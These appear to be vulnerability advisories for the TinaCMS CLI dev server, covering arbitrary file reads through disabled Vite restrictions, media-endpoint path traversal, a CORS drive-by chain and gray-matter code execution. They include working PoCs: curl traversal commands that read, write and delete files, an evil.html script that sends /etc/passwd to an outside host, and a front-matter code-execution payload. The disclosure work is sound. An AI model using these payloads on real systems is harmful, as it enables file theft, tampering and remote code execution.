Summary The TinaCMS CLI dev server configures Vite with server.fs.strict: false, which disables Vite's built-in filesystem access restriction. This allows any unauthenticated attacker who can reach the dev server to read arbitrary files on the host system

Details When running tinacms dev, the CLI starts a Vite dev server configured in: packages/@tinacms/cli/src/next/vite/index.ts server: { host: configManager.config?.build?.host ?? false, ... fs: { strict: false, // Disables Vite's filesystem access restriction }, }, TinaCMS middleware only intercepts specific route prefixes (/media/, /graphql, /altair, /searchIndex). Any request to a path outside these routes falls through to Vite's default static file handler, which will serve the file directly from the absolute path on the filesystem. Additionally, the server enables permissive CORS (cors() with no origin restriction), which may further facilitate browser-based exploitation such as DNS rebinding attacks.

PoC

Prerequisites: TinaCMS CLI dev server running (default port 4001).

- Read system files directly: curl http://localhost:4001/etc/passwd <img width="705" height="332" alt="image" src="https://github.com/user-attachments/assets/6fd0e1c7-a549-40c8-bc81-af9c343f52a0" />

curl http://localhost:4001/etc/hostname <img width="631" height="41" alt="image" src="https://github.com/user-attachments/assets/bd103dc3-d4c3-4774-8007-b55de3fc2a9e" /> Vite resolves and serves the absolute path directly from the filesystem.

Impact Any developer running tinacms dev in an environment where the dev server port is reachable by an attacker. This includes:

- Cloud IDEs (GitHub Codespaces, Gitpod) where ports are automatically forwarded and publicly accessible

- Docker or VM setups with port forwarding configured

- Misconfigured environments binding to 0.0.0.0 via the build.host config option

- Systems targeted via DNS rebinding attacks, leveraging the unrestricted CORS policy

- Local environments with malicious dependencies running on the same machine

An attacker who can reach port 4001 can:

- Read any file readable by the server process (/etc/passwd, /etc/shadow, SSH private keys)

- Exfiltrate environment variables and secrets via /proc/self/environ

- Access cloud credentials and API keys from configuration files

Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

- /media/list/

- /media/upload/

- /media/

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code bb.on('file', async (name, file, info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // No validation that saveTo remains within mediaFolder await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); PoC Arbitrary File Read curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

Arbitrary File Write echo "ATTACKERCONTROLLEDCONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \ "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \ -F "file=@/tmp/payload.txt" cat /tmp/pwned.txt Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete echo "deleteme" > /tmp/delete-test.txt cat /tmp/delete-test.txt # confirms file exists curl --path-as-is -X DELETE \ "http://localhost:4001/media/../../../../../../tmp/delete-test.txt" cat /tmp/delete-test.txt # "No such file or directory" <img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

- Write arbitrary files anywhere writable by the server process

- Delete or overwrite files, depending on endpoint usage

- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

- Cloud IDEs (Codespaces, Gitpod)

- Docker or VM setups with port forwarding

- Misconfigured dev environments binding to 0.0.0.0

- Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

- Resolve paths to absolute form

- Enforce that resolved paths remain within the media root

- Reject .. path segments and absolute paths

- Consider authentication or token protection for dev server endpoints

Summary The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: ) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

- packages/@tinacms/cli/src/server/server.ts: app.use(cors());

- packages/@tinacms/cli/src/next/vite/plugins.ts: server.middlewares.use(cors()); When combined with the path traversal vulnerability, this creates a complete attack chain. Attack Scenario

Prerequisites 1. Developer runs tinacms dev (default port 4001) 2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost

Attack Flow 1. Developer starts TinaCMS: tinacms dev 2. Developer browses the web (checking email, social media, etc.) 3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.) 4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files 5. Files are exfiltrated to attacker's server

PoC Attacker's Malicious Website (evil.html): <script> fetch('http://localhost:4001/../../../etc/passwd') .then(r => r.text()) .then(data => { // Exfil via GET const img = new Image(); img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data); }); </script> Demonstration

Step 1: Start TinaCMS dev server bash tinacms dev Server running on http://localhost:4001

Step 2: Host evil.html on attacker server bash python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: , the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />

Impact Who is affected Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names across the entire filesystem 2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs 3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts 4. Delete arbitrary files via /media/ DELETE with path traversal

Summary tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.

Details The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.

PoC 1. Create a tinacms app using the cli/documentation: npx create-tina-app@latest 2. Modify one of the blog posts to contain the following front matter: js ---js { "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString()) } --- 3. Start the tinacms server, e.g., with npm run dev 4. Observe the console of the server printing the password file, showing that attackers can execute arbitrary commands.

Impact RCE: attackers can execute arbitrary JavaScript code on the server hosting tinacms.

Feasibility Potential attack scenarios can be executed like this: Companies often have technical writers as contractors. These contractors produce md files, which they send over email or upload in a shared cloud folder. Developers download these files and upload them in tinacms's content folder. While this example might appear speculative or contrived, a general observation is that developers would be very surprised to find out that processing untrusted markdown files via tinacms = server-side code execution = complete machine take over. That is, tinacms users might not expect markdown files to contain anything else than data and gray-matter violates that assumption.